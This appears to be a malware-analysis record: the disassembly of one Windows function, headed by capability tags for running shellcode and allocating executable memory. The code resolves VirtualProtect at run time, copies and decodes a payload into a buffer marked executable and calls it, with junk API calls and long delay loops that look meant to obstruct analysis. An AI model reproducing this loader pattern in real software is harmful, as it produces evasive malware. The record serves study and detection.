Function at 0x401776
Capabilities:
Allocate or change rwx memory
Create directory
Enumerate gui resources
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get disk size
Set file attributes

Disassembly:
mov eax, 0x4079b9
call fcn.0040686c
sub esp, 0x40
push ebx
push esi
xor ebx, ebx
push edi
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x207142
jg 0x4017a1
inc esi
cmp esi, 0x67d12
jl 0x40178a
cmp dword [0x207e9a4], 0x93
jne 0x401853
push ebx
call dword [sym.imp.KERNEL32.dll_FindAtomA]
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_InsertMenuItemW]
xor eax, eax
lock bts dword [eax], 0
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceA]
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_ReplaceFileA]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumResourceTypesW]
lea eax, [ebp - 0x18]
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x24]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceW]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateJobSet]
mov dword [ebp - 0x38], 0xf
mov dword [ebp - 0x3c], ebx
mov byte [ebp - 0x4c], bl
lea eax, [ebp - 0x14]
mov dword [ebp - 4], ebx
push eax
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x14], 0x40a0d0
call fcn.00401eff
lea ecx, [ebp - 0x30]
mov dword [ebp - 0x30], vtable.std::bad_exception.0
call fcn.00401f5b
push ebx
call fcn.004021a4
or dword [ebp - 4], 0xffffffff
cmp dword [ebp - 0x38], 0x10
pop ecx
jb 0x401853
push dword [ebp - 0x4c]
call fcn.00402148
pop ecx
mov eax, dword [0x431ce8]
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
add dword [0x207e9a4], 0x1134b
push str.kernel32.dll
mov dword [0x207f7e0], eax
call esi
push str.VirtualProtect
push eax
mov dword [0x207e434], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [0x207e9a4]
mov dword [0x207e428], eax
push ebx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
lea ecx, [ebp - 0x10]
push ecx
push 0x40
push dword [0x207e9a4]
mov dword [0x207e430], eax
push eax
call dword [0x207e428]
mov edi, 0x1692e
call dword [sym.imp.USER32.dll_GetMessageTime]
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
dec edi
jne 0x4018b4
mov eax, dword [0x207e9a4]
cmp eax, ebx
jbe 0x40191d
mov eax, dword [0x207f7e0]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x207e430]
mov byte [ecx + edi], al
mov eax, dword [0x207e9a4]
cmp eax, 0x490
jne 0x401918
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push ebx
call dword [sym.imp.KERNEL32.dll_IsBadCodePtr]
push ebx
call esi
lea eax, [ebp - 0x24]
push eax
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputW]
call dword [sym.imp.KERNEL32.dll_FreeConsole]
mov eax, dword [0x207e9a4]
inc edi
cmp edi, eax
jb 0x4018cd
xor esi, esi
lea ecx, [eax + esi]
cmp ecx, 0x8d
jne 0x40194f
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_TerminateJobObject]
push ebx
push ebx
push ebx
call dword [sym.imp.USER32.dll_GetClassInfoW]
push ebx
push ebx
call dword [sym.imp.USER32.dll_CharUpperBuffA]
push ebx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov eax, dword [0x207e9a4]
inc esi
cmp esi, 0x38681
jl 0x40191f
mov ecx, dword [0x207e430]
shr eax, 3
cmp eax, ebx
jbe 0x401975
mov esi, ecx
mov edi, eax
push esi
call fcn.004010ab
add esi, 8
dec edi
jne 0x401969
xor esi, esi
push ebx
call dword [sym.imp.KERNEL32.dll_SetLastError]
cmp esi, 0x61
jne 0x401996
mov dword [ebp - 0x14], ebx
add dword [ebp - 0x14], 0
mov eax, dword [ebp - 0x14]
add dword [0x207e430], eax
inc esi
cmp esi, 0x674bd
jl 0x401977
push 0x7b
pop esi
cmp dword [0x207e9a4], 0x86
jne 0x4019e5
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateFileA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetConsoleTextAttribute]
push ebx
call dword [sym.imp.KERNEL32.dll_GlobalUnlock]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_IsBadStringPtrW]
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.ADVAPI32.dll_AddAce]
dec esi
jne 0x4019a2
call fcn.0040102d
call dword [0x207e430]
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
leave
ret